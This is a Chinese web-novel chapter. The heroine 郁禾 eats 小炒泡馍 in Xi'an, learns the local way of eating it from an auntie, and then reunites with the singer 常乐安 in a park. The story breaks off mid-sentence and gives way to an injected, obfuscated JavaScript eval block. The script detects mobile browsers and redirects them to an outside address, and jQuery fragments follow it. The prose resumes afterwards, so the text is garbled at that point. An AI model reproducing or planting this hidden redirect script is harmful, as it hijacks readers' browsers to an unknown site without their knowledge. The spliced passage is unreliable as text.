逛了一上午,肚子早就饿得不行,于是决定找家小店吃个美味午饭。
记忆中永不枯萎的美,只能是肉与碳水。西安真是碳水爱好者的天堂。
打车的这几天,“堵成马咧!”几乎是每一位司机师傅的口头禅,今天也不例外。从她的游玩经验来看,西安的美味确实遍布大街小巷,但是想要感受第一口冰可乐般的酣畅,总要去趟坊上。
四十分钟后,郁禾下车便冲向她这几天心心念念的小炒。泡馍的另一种做法,西安美食品尝进阶选手郁禾本禾日思夜想的小吃。
好吧也就只想了一天而已,她今天本来就想吃小炒泡馍。
眼前是一家名为马宾小炒的饭馆,招牌是新的,或许才刚换,和有着岁月沉淀的斑驳小店有些格格不入。
或许是午饭时间,店内乌泱泱全是人,有些客人手肘夹着报纸,面前是空碗和馍,边看报,边掰馍。而有些则大着嗓门跟同桌的人谝闲传,嘈杂得很,但又令人心安。
还是一样没有菜单选择,只有牛肉小炒和羊肉小炒两种,主要分为生肉和熟肉,生肉直接爆炒,更脆嫩,熟肉经过卤味,更软烂。她选择牛肉,生熟都要,不过在此之前得先掰馍。
作为拥有三次掰馍经验的“老手”,她现在已经能够将馍掰到黄豆粒大小,不过与传闻中最高境界粒粒均匀和连皮带瓢还有着不小差距。据说掰完后用手掌压住,轻轻一抹,带着烙斑的硬面全部朝上,这操作看起来超有武侠小说绝世高手的风范。但炒馍又和羊肉泡馍不同,不需要掰得太小,大概……五角钱硬币的一半大小就行。
拿上空碗和馍,便在店内随意找了个位置坐下,她一边掰一边看剧,时间倒也过得很快。郁禾这段时间有事没事就喜欢刷剧,发誓要把这四年没时间刷的新剧都看过一遍。
二十分钟后,郁禾举手,同时扯着嗓子喊老板。
老板耳朵很灵,走过来克里马擦地把碗端走,还不忘在桌上放一瓶冰峰和一碟糖蒜。糖蒜看上去微黄似玉,没忍住咬上一口,清脆爽口、甜酸适度、入口化渣,吃完一颗她食欲大开,接着又嘬了一口冰峰,便安静等待小炒泡沫的到来。不敢吃太多,越吃越饿。
只见厨房内忙碌的师傅将炼好的牛骨髓油下锅,又任由干辣子将牛肉绘出灿烂的红色。生牛肉与卤牛肉两掺其中,视觉上的嫩和嗅觉上的香直直打进她的心尖。她的周围遍布胃口大开的酸辣味道,以及师傅手中东一勺西一盆的浓香魔法,最后在飙到极致的沸腾里掉一颗蛋,在几秒内凝固成无法拒绝的金色传说。
等到汤汁殆尽,馍丁和粉丝以及各式各样五颜六色的蔬菜通通倒入碗中,滋味焊死在每一块食材里。
郁禾面上没什么波澜,硬要说出点异常的话……肚子更饿了。
十分钟后,老板终于端来一碗比脸还大的瓷碗,稳稳地放在她所在的位置,随着他的一句请慢享用落下,她终于能开始品尝这午间浓香美味。
桌边有一罐鲜椒酱,舀一勺嗅了嗅,貌似是用新鲜辣椒加上盐与酒腌制而成,没忍住筷子蘸点儿舔了舔,辣劲儿温和但咸味重,不过放在泡馍里,味道应该不错,秉持着试一试要才知道的原则,郁禾加了一勺。
刚要搅拌时候,隔壁桌的一位阿姨连忙制止。
“放在碗中间,用筷子头蘸上一点儿,再和馍粒儿一起沿着碗边往嘴里划拉。”说完看见郁禾手速极快地要搅拌碗里的泡馍,又连忙说:“别搅别搅。”
郁禾停下距离泡馍只有五毫米的筷子,茫然地抬起头,疑惑地看着刚刚说话阿姨:“啊?阿姨是跟我说话吗?为啥不能搅?”她没发现,如今她说话的口音也带着点西安味了。
“我们老西安人吃这都从碗边上用筷子一点点地扒着吃,就像蚕吃桑一样,也叫蚕食。这馍才端上来,你要是直接吃呀,烫嘴的咧。而且刨着吃筷子不会把馍搅和烂,吃起来口感更好。”阿姨耐心解释。
“噢~好的。”入乡随俗,刨着吃就刨着吃。
提醒她的阿姨也是一个人在店里吃泡馍,期间时不时和她搭话。据阿姨所说,小炒泡馍也叫干刨,很考验煮馍的功力,通常要煮到碗里无汤且能立住筷子的地步,油大味重,有些店还会在里头打个鸡蛋,这通常只有老西安人才能接受,因此见她能吃得这般酣畅,阿姨很意外。
“我口味比较杂,什么都能吃。”郁禾说,“但是这碗小炒泡馍本身就很好吃,虽然酸辣味重些,但有糖蒜和冰峰搭配,我能吃完。”
在西安吃了这么多美食,她就没有翻车过,还得是本身实力够硬啊,她找不着错处。
眼前碗里红艳艳的小炒,注定了吃它要火急火燎。
酸辣味吃起来比闻到的还要刺激,泡馍已经吸饱了汤汁,粉丝同样被辣子染上一层红色,一口泡馍一口粉丝,再来一块被切得方正的牛肉充实味蕾。生肉脆嫩,熟肉糊烂。
“还好两种都点了,能一次尝到不同口味。”
郁禾氤氲在牛肉的香气中,吃一口泡馍再吃一口糖蒜,面上是实打实的幸福。
“哈哈哈小姑娘会点咧,不过两种都加太贵咯,四十五呢。”
“毕竟是出来玩的,当然都要体验一番咯。”
“有道理~”
和阿姨你一句我一句的闲聊中,郁禾不知不觉间已经盆碗干净。
告别还在吃饭的阿姨,郁禾走出店后开始慢悠悠地散步消食。
附近有个公园,郁禾打算走走。看了眼时间,下午一点,还算早。
当她走到公园,看见各种吹拉弹唱的大爷大妈们时,她后悔没把吉他或者二胡带在身上。听见大爷们唱的老情歌,她骨子里的音乐基因也控制不住了。
但她没想到的是,居然还能在公园见到驻唱的常乐安?
这次她没有刻意回避,反而走到常乐安周边,一曲婉转动听的红尘情歌拿捏在场所有大爷大妈。
“还真是什么地方唱什么歌,挺会啊。”
郁禾混在爷奶里头非常显眼,毕竟年纪在这儿,被常乐安注意到是迟早的事儿。却没想到这人直接把她拉上台想来个二人合唱?
玩儿大了。郁禾在被拉到话筒前心里默默想。怎么就忘记了常乐安以前也是个社交□□呢?早知道不看这热闹了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005872|160790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在变成了热闹本身。
不过郁禾对于音乐很认真,往话筒前一站就是音乐的兵。面前是听众们的叫好声,耳边是曾经对手和伙伴那熟悉的嗓音,郁禾一瞬间有些恍惚,仿佛回到了十八岁时,第一次感受到人声鼎沸的时候。
一曲过后,她捂着脸飞速下台,不是感动地哭泣,而是后知后觉的尴尬。以前在酒馆民宿等驻唱的时候大家的目光基本不在她身上,她的音乐只起到一个氛围感的作用,但今天实打实的十几位听众,还好她没有跑调,否则更尴尬。
“你跑掉干嘛?爷爷奶奶们都说你唱得好。”
常乐安在一处亭子内看到郁禾,随即上前吉他“啪”的一放就坐到她对面,眼神颇为玩味地看着她,“什么时候变这么社恐和胆小了?你以前可不这样啊,多么阳光开朗自信的小女孩。”
郁禾听后脱口而出:“如果你也欠债且常年被网暴,你或许也会跟我一样。”说完,才发现这话本不该说,她还真是变了点。
“哈哈哈,你说得对。”
安静数秒,场面一度有些尴尬,于是郁禾随意找了个话题。
“你今天怎么在这公园唱歌?这里不该是你的主场啊。”
常乐安呵呵一笑,轻松说:“休闲娱乐嘛,而且今天是星期六,我休息。”
“哦。”
“反正我也就唱歌这个特长了,虽然还是输给了你,但我也有很多粉丝的好吧?刚刚那些的爷爷奶奶们就是,而且超会给情绪价值,每次我在自我怀疑的时候都会来这边寻找自信。不过今天他们都说你唱得更好听,伤心。”说完,还假装擦了擦不存在的眼泪。
“不怪我啊,是你自己拉我上台的哦。”
“我的意思是,不管怎么样,你依旧可以凭借这好嗓子东山再起,粉丝们会原谅你的,更何况你那些黑料都是假的。最近微博上也出现了几位为你说话的粉丝,你的超话多了很多和谐的声音呢。”
说着,常乐安拿出手机,给她看被截图出来的善意言论。
郁禾伸手将面前的手机移开,摇了摇头说:“算了,娱乐圈是个伤心地,我容易触景生情,万一搞不好又被人摆一道更得不偿失,我没什么心眼,玩不过他们,还躲不过吗。”
“白瞎了你这好嗓子。”
“谁说的,受了你的启发,我决定在接下来的旅途中也背着吉他一路高歌。”
“嗯?”
“唱给我自己听,也唱给大自然听。”
“劝不过你,接下来去哪儿玩?”
“不知道,没决定好呢。你是西安人吧?这几天能叫得上名字的美食我都吃过一遍了,你还有什么推荐的小众美食吗?”
“嗯……柳巷面吃过吗?”
“没有欸,行,我去了。”说完就要走。
常乐安连忙跟着郁禾起身,“不再聊聊啊,偶遇两次了,咱们还是很有缘分的呢。”
郁禾头也不回,边走边挥手并大声回答:““等什么时候我们偶遇第三次了再详聊吧,再见~”
看着郁禾欢脱的背影,常乐安轻笑一声,“好吧,下次见。”